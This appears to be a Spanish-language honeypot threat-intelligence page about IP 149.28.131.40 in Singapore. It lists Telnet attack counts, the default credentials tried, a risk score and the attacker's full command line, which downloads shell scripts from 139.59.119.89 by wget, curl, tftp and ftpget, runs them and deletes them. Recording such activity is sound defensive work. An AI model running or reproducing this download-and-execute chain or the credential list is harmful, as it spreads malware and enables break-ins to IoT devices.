Amenaza ActivaBAJO

149.28.131.40

Pais de Origen🇸🇬 Singapur
Primera Deteccion22/2/2026
Ultima Actividad23/2/2026
ISPThe Constant Company, LLC
🎯
85
Ataques Totales
🔌
1
Puertos
📡
1
Tipos Ataque
🦠
2
Malware

Geolocalizacion

Pais
🇸🇬 Singapur
Ciudad
Singapore
ASN
AS20473
ISP
The Constant Company, LLC

Tipos de Ataque

cowrie

Puertos Atacados

23

Malware Asociado

Credenciales Intentadas

🔐root/1234
2x
🔐root/anko
1x
🔐admin/admin
1x
🔐root/root
1x
🔐root/123456
1x
🔐root/Zte521
1x
🔐admin/1234
1x
🔐admin/(vacio)
1x
🔐pi/raspberry
1x

Comandos Ejecutados

$cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -qO- http://139.59.119.89/ohshit.sh | sh; curl -s http://139.59.119.89/ohshit.sh | sh; wget http://139.59.119.89/ohshit.sh -O ohshit.sh; chmod 777 ohshit.sh; sh ohshit.sh; tftp 139.59.119.89 -c get ohshit.sh; chmod 777 ohshit.sh; sh ohshit.sh; tftp -r ohshit2.sh -g 139.59.119.89; chmod 777 ohshit2.sh; sh ohshit2.sh; ftpget -v -u anonymous -p anonymous -P 21 139.59.119.89 ohshit1.sh ohshit1.sh; sh ohshit1.sh; rm -rf ohshit.sh ohshit2.sh 1x

Evaluacion de Riesgo

35
/100
BajoMedioAltoCritico